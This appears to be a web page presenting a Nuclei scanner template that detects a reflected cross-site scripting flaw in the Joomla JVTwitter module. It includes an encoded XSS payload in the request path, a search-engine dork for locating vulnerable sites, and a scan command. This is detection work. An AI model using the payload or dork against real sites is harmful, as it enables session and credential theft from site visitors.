Joomla JVTwitter - Cross-Site Scripting

ID: joomla-jvtwitter-xss

Severity: medium

Author: r3Y3r53

Tags: joomla,jvtwitter,xss

Description

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim’s session token or login credentials.

YAML Source

id: joomla-jvtwitter-xss

info:
  name: Joomla JVTwitter - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  reference:
    - https://buaq.net/go-44433.html
    - https://cxsecurity.com/issue/WLB-2020110041
    - https://extensions.joomla.org/
  metadata:
    verified: true
    max-request: 2
    google-query: inurl:mod_jvtwitter/jvtwitter.php?id=
  tags: joomla,jvtwitter,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E"
      - "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id="

    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'contains(content_type_1, "text/html")'
          - 'contains(body_1, "><img src=x onerror=prompt(document.domain)")'
          - 'contains(body_2,"{\"rs\":\"0")'
        condition: and
# digest: 490a00463044022039a71b90d2d4d4cbf441b33ec8c06446216712c074f922847d6d585763d35b0b022004dde3bbe83f8b5097af721c185324fa1a3ff20928b5faf6283077aa67b00b5a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/joomla/joomla-jvtwitter-xss.yaml"

View on Github